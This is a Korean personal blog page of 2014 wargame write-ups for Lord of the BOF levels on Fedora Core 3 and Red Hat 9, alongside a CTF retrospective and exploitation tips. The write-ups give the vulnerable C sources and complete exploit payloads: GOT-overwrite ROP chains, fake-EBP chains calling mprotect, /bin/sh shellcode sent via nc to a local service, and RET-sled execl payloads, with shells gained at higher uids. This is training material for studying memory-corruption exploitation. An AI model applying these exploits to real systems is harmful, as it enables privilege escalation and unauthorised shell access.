'분류 전체보기'에 해당되는 글 55건

  1. 2014.02.24 Codegate 2014 후기 2
  2. 2014.02.22 [Linux BOF] strcpy같은 함수로 GOT Overwrite할 때
  3. 2014.02.22 [Linux BOF] pop;pop;ret 원리
  4. 2014.02.20 hell_fire -> evil_wizard
  5. 2014.02.20 dark_eyes -> hell_fire 1
  6. 2014.02.20 iron_golem -> dark_eyes
  7. 2014.02.20 gate -> iron_golem
  8. 2014.02.20 xavius -> death_knight
  9. 2014.02.20 nightmare -> xavius
  10. 2014.02.20 succubus -> nightmare

Codegate 2014 후기

CTF 2014. 2. 24. 02:59

후... 한문제도 못풀었다...ㅋㅋ


반성해야지.... 요즘 매일 폐인처럼 하던 게임도 5일째 끊었고!! 이제 공부할일만남았다!!

아자아자 파이팅 :)


 

'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,

strcpy같은 함수로 GOT Overwrite할 때, 가급적이면 custom stack을 생성해서 그곳에 함수의 주소를 복사 후에 그 custom stack에 있는것으로 GOT Overwrite 하는것이 가장 좋다.

 

1byte 씩 덮어 씌울경우, 1byte만 복사되는게 아니라 그 뒤에 \x00을 만날 때 까지 쭈욱 복사가 된다.

그 과정에서 엉뚱한 GOT을 overwrite할 위험이 있으므로, 가급적 custom stack을 이용하는 것이 좋다.

이 방법이 쓸수없는 그런 상황일때는 최대한 내가 복사하려는 1byte와 \x00이 가깝게 붙어잇는것을 고른다.

 

일례로 strcpy로 계속 chaining RTL을 해주면서 GOT Overwrite를 해주고 있었는데 2번째 strcpy에서 뻑가버리고 세그먼테이션 폴트를 내뱉음...

복사하는 바이트가 너무 길어서 strcpy의 GOT까지 덮어씌웠기떄문이다

:D

Posted by windowhan
,

[Linux BOF] pop;pop;ret 원리

Tip 2014. 2. 22. 01:37

제곤이 블로그(xer0s.tistory.com)를 보고 알게 되었다.


call로 정상적으로 특정 함수를 호출 했을 때, 함수가 끝나고난 후 코드를 실행 시키기 위해서 saved eip를 스택에 푸시합니다.

ret으로 특정 함수를 호출하고 그 함수가 끝나면 saved eip가 되있어야할 위치의 값을 호출합니다.
따라서 [system][exit]["/bin/sh"] 이런 구성도 가능합니다

Posted by windowhan
,


문제의 소스입니다.

[hell_fire@Fedora_1stFloor tmp]$ cat ../evil_wizard.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- evil_wizard
- Local BOF on Fedora Core 3 
- hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
 
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
int length; 

if(argc < 2){
printf("argv error\n");
exit(0);
}

// for disturbance RET sleding
length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());

// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, argv[1]);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

printf("%s\n", buffer);
}

여기서 살펴보아야 할 것을 꼽하보자면
 - sfp를 복구해주고있음
 - RET sleding을 방지하기 위해서 내가 입력해준 부분을 제외한 스택의 모든 부분을 0으로 초기화 하고있음.

Fedora Core 3에는 바이너리 내에 chaining rtl을 하는데 중요한 pop pop ret이 없기 때문에 inline assembly를 이용해서 임의로 넣어줬습니다.

힌트에는 GOT Overwrite를 이용하라고 했으니 strcpy@plt를 이용해서 덮어 씌워보겠습니다.
저는 printf의 GOT를 system함수의 주소로 덮어씌워보려고합니다.

페이로드를 짜보자면
[buffer + dummy (268bytes)] [strcpy@plt][pop;pop;ret][printf@got][first_garget][strcpy@plt][pop;pop;ret][printf@got+1][second_garget][strcpy@plt][pop;pop;ret][printf@got+2][third_garget][strcpy@plt][pop;pop;ret][printf@got+3][fourth_garget][printf@plt][dummy(4bytes)][/bin/sh]

printf의 GOT (총 4bytes)를 1byte씩 system함수의 주소로 덮었습니다.

그리고 pop;pop;ret 에 대해서 간단하게 설명하자면, 

첫번째 pop이 진행되면 esp가 4바이트가 증가하면서 esp가 첫번째 인자를 가리키게 되고 
두번째 pop이 진행되면 또 esp가 4바이트가 증가하면서 esp가 두번째 인자를 가리키게 됩니다.

세번째 ret은 pop %eip(물론 이런 명령어는 존재하지않습니다)와 같은 역할을 합니다. esp가 4바이트 증가한 후에, esp는 두번째 함수를 가리키고 있을 때, esp가 가리키고 있는 데이터를 eip에 집어넣습니다. 
그러고나서 다음 자리에 있는 pop;pop;ret을 가리키게 됩니다.


제가 쓴 소스입니다.
#!/usr/bin/python
from struct import pack
import os

printf_plt = 0x08048424
printf_got = 0x08049884 #0x08049884 , 0x08048429
strcpy_plt = 0x08048494

#garget = system_addr
first_garget_byte = 0x08048524+8 # 0x90
second_garget_byte = 0x08048148+12 # 0x54
third_garget_byte = 0x080486f4+6 # 0x7d
fourth_garget_byte = 0x08048149 # 0x00

ppr = 0x0804854f # pop;pop;ret
shell = 0x00833603 # "/bin/sh"

p = lambda x : pack("<L",x)

payload = ""
payload += "\x90"*268
payload += p(strcpy_plt) + p(ppr) + p(printf_got) + p(first_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+1) + p(second_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+2) + p(third_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+3) + p(fourth_garget_byte)
payload += p(printf_plt) + "\x90"*4 + p(shell)

===================================================================

[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard `python -c "print '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x94\x84\x04\x08O\x85\x04\x08\x84\x98\x04\x08,
\x85\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x85\x98\x04
\x08T\x81\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x86\x98
\x04\x08\xfa\x86\x04\x08\x94\x84\x04\x08O\x85\x04\x08
\x87\x98\x04\x08I\x81\x04\x08$\x84\x04\x08\x90\x90\x90\x90\x036\x83\x00'"`
?????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????0萃??O???,???O???T???O??????O???I?$????? 6?
sh-3.00$ id
uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,

문제의 소스입니다.

[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- hell_fire
- Remote BOF on Fedora Core 3 
- hint : another fake ebp or got overwriting 
- port : TCP 7777
*/

#include <stdio.h>

int main()
{
char buffer[256];
char saved_sfp[4];
char temp[1024];
  
printf("hell_fire : What's this smell?\n");
printf("you : ");
fflush(stdout);

// give me a food
fgets(temp, 1024, stdin);
   
// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, temp);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

printf("%s\n", buffer);
}

프로그램이 동작하는 과정을 차례로 정리해보자면,

1) fgets로 temp에 입력값을 받음.
2) memcpy로 sfp를 백업해둠.
3) strcpy로 temp를 buffer로 복사
4) memcpy로 sfp를 복구.

이렇게 정리 할 수 있습니다.

방법 1)
힌트를 보면 hint : another fake ebp or got overwriting 라고 적혀있는데요 저는 fake ebp를 이용해서 풀어보았습니다.

fake ebp를 쓰기 위해서는 ebp를 먼저 덮어씌워야하는데 문제에서는 sfp를 복구시키고 있습니다.
그렇다면, main함수의 ebp를 조작할 것이아니라 main함수가 종료되면 복귀하는 __libc_start_main함수의 ebp를 조작하면 됩니다.

먼저 페이로드는 다음과 같습니다.

[buffer + dummy (268bytes)] [leaveret(4bytes)] [dummy(88bytes)][fake ebp(4bytes)(mprotect를 가리킨다)] [leaveret(4bytes)] [mprotect] [쉘코드 위치(4bytes)] [인자1] [인자2] [인자3] [쉘코드]

이 페이로드가 진행되는 상황을 정리해보겠습니다
1) ret인데 eip가 leave의 주소를 가리키고 있으므로, leave의 주소로 리턴됬음. (이때 main함수를 탈출해서 __libc_start_main함수로 돌아왔음.)
2) 첫번째 leave가 진행되면서 pop %ebp 때문에 결국 fake ebp를 ebp로 세팅함.
3) 첫번째 ret이 진행되면서 pop %eip로 인해 eip는 두번째 leave의 주소를 가리키고 있음.
4) 두번째 leave가 진행되면서 fake ebp가 mov %ebp,%esp 로 인해서 esp는 fake ebp가 가리키고 있는 값을 가리키고 있음.
5) 두번째 ret이 진행되면서 pop %eip로 인해서 eip는 fake ebp가 가리키고 있는 mprotect부분으로 세팅된다.
6) mprotect을 쓴다. (여기서 mprotect이 사용되는 이유는 stdin이 rw권한만 가지고있고 x권한을 가지고 있지 않기 때문이다. 때문에, 여기서 x(exec)권한을 부여해준다. 여기서 많이 삽질을 했었다.)
7) 쉘코드 위치로 이동해서 쉘코드를 이동시킨다.

[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "a"x268,"\x61\x85\x04\x08","s"x88,"\x6c\xe1\xff\xf6","\x61\x85\x04\x08","\x70\x46\x71\x00","\x58\xe2\xff\xf6", "\x00\xe0\xff\xf6", "\x00\x08\x00\x00", "\x07\x00\x00\x00", "\x90"x500, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"';cat)|nc localhost 7777
hell_fire : What's this smell?
you : 
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,
[iron_golem@Fedora_1stFloor tmp]$ cat ../dark_eyes.c
/*
     The Lord of the BOF : The Fellowship of the BOF
     - dark_eyes
     - Local BOF on Fedora Core 3
     - hint : RET sleding
*/

int main(int argc, char *argv[])
{
     char buffer[256];
     char saved_sfp[4];
   
     if(argc < 2){
          printf("argv error\n");
          exit(0);
     }
  
     // save sfp
     memcpy(saved_sfp, buffer+264, 4);

     // overflow!!
     strcpy(buffer, argv[1]);

     // restore sfp
     memcpy(buffer+264, saved_sfp, 4);

     printf("%s\n", buffer);
}


RET Sleding을 하라고 한다.
RET을 여러번 실행시킴으로써, esp와 ebp를 끌어올릴 수 있다.
(RET을 여러번 함으로써 esp를 끌어올리고 새로운 함수로 진입한 뒤, mov %esp,%ebp(esp -> ebp)를 해주기 떄문)

Fedora Core 3에서는 EBP를 기준으로 인자 참조를 한다.

execl의 주소는 0x7a5720 이다.
페이로드의 양쪽을 더블 쿼터로 묶지 않았을 때는 Segmentation Fault가 발생했다.
내가 알기로는 strcpy는 \x20에 영향을 받지않는 것으로 알고있었지만 양쪽을 더블쿼터로 묶는 순간 execl이 정상적으로 실행 됬다...;;

""과 NULL은 다른듯하다.
execve

[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes "`perl -e 'print "a"x268,"\xb9\x84\x04\x08"x3,"\x20\x57\x7a\x00"'`"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?燎?퉬퉬 Wz
sh-3.00$ id
uid=502(dark_eyes) gid=502(dark_eyes) groups=501(iron_golem) context=user_u:system_r:unconfined_t
sh-3.00$because of you 


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,
Fedora Core3이라 Ascii-Armor이 적용 되서, 인자를 주기가 매우 어려워졌다.
그래서, Fake EBP기법이나 RET을 이용해서 인자를 맞춰주기로 했다.

(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>

아스키아머가 적용된 execl함수의 주소다.

그런데 오현이형이 말씀해주신 바로는 

./iron_golem `perl -e 'print "a"x264,"\x10\x96\x04\x08","\x23\x57\x7a"'`

이런 식으로 페이로드를 짜면 안된다고 말씀해주셨다.
쉘을 띄우는 역할을 담당하는 shell.c를 만들어 놓고 컴파일 한 뒤, 페이로드 상에서 execl로 실행시켜주는 식이었다.

=====================================================

#include <stdio.h>

int main()
{
     setreuid(geteuid(),geteuid());
     setregid(getegid(),getegid());
     execl("/bin/sh","sh",0);
}

[gate@Fedora_1stFloor ~]$ ./iron_golem `perl -e 'print "a"x264,"\x10\x96\x04\x08","\x23\x57\x7a"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?#Wz
sh-3.00$ id
uid=501(iron_golem) gid=501(iron_golem) groups=500(gate) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 501
blood on the fedora


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
hell_fire -> evil_wizard  (0) 2014.02.20
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
Posted by windowhan
,

remote bof다. 바인드 쉘코드 넣고 리턴주소를 브루트포싱으로 때려맞췄다


LOB20_remotebof_sc_bruteforce.py


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

nightmare -> xavius  (0) 2014.02.20
succubus -> nightmare  (0) 2014.02.20
zombie_assassin -> succubus  (0) 2014.02.20
assassin -> zombie_assassin  (0) 2014.02.20
giant -> assassin  (0) 2014.02.20
Posted by windowhan
,
fgets 임시버퍼 공간을 이용했음.ㅋ

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x16,"\xeb\x08\xb8\xe0\x8a\x05\x40\xff\xd0\xf4\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x3b\x70\x61\x73\x73\x3b","\x04\x50\x01\x40"';cat)|./xavius
id
???????????????멘?@奇拗/bin/sh;pass;P@id

Xshellid
/bin/sh: Xshellid: command not found
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
pass^H^H^H^H^H^Hmy-pass
/bin/shmy-pass: command not found
my-pass
euid = 519
throw me away


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

xavius -> death_knight  (0) 2014.02.20
succubus -> nightmare  (0) 2014.02.20
zombie_assassin -> succubus  (0) 2014.02.20
assassin -> zombie_assassin  (0) 2014.02.20
giant -> assassin  (0) 2014.02.20
Posted by windowhan
,
[succubus@localhost succubus]$ ./nightmare `perl -e 'print "aaaa"x3,"\xe0\x8a\x05\x40","bbbb","\xf9\xbf\x0f\x40","\x10\x84\x04\x08"x6,"aaaa","\xa0\xfa\xff\xbf","\x7c\xfa\xff\xbf"'`
aaaaaaaaaaaa?@bbbb廈@??????aaaa????
bash$ my-pass
euid = 518
beg for me
bash$


.plt = Procedure Linkable Table 
함수들 링크가 가능한 테이블
프로그램이 호출하는 모든 함수가 나열되어 있다.
컴파일 타임에 생성되는 테이블로 어떠한 GOT 영역의 주소를 참조 할지 정해져 있음.

프로그램에서 함수를 호출할 때, 운영체제의 라이브러리에서 호출해오는데 libc의 버전에 따라 호출 형태나 링크 형태가 달라질 수 있기 때문에 그 영향을 받지 않기 위해서 함수의 기계어 코드를 실행 파일이 직접 가질 수 있게 하는 테이블임.

그런데 여기서

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
#include
#include
#include
#include
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}


문제 위에 plt라고 되어있던 부분은 plt를 찾아서 공부하란 의미인 것 같고, 실제 문제는 buffer+48부분에 AAAA로 덮는 부분이엇다.

이부분을 strcpy를 이용해 내가 원하는 데이터로 덮어버리면 성공


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

xavius -> death_knight  (0) 2014.02.20
nightmare -> xavius  (0) 2014.02.20
zombie_assassin -> succubus  (0) 2014.02.20
assassin -> zombie_assassin  (0) 2014.02.20
giant -> assassin  (0) 2014.02.20
Posted by windowhan
,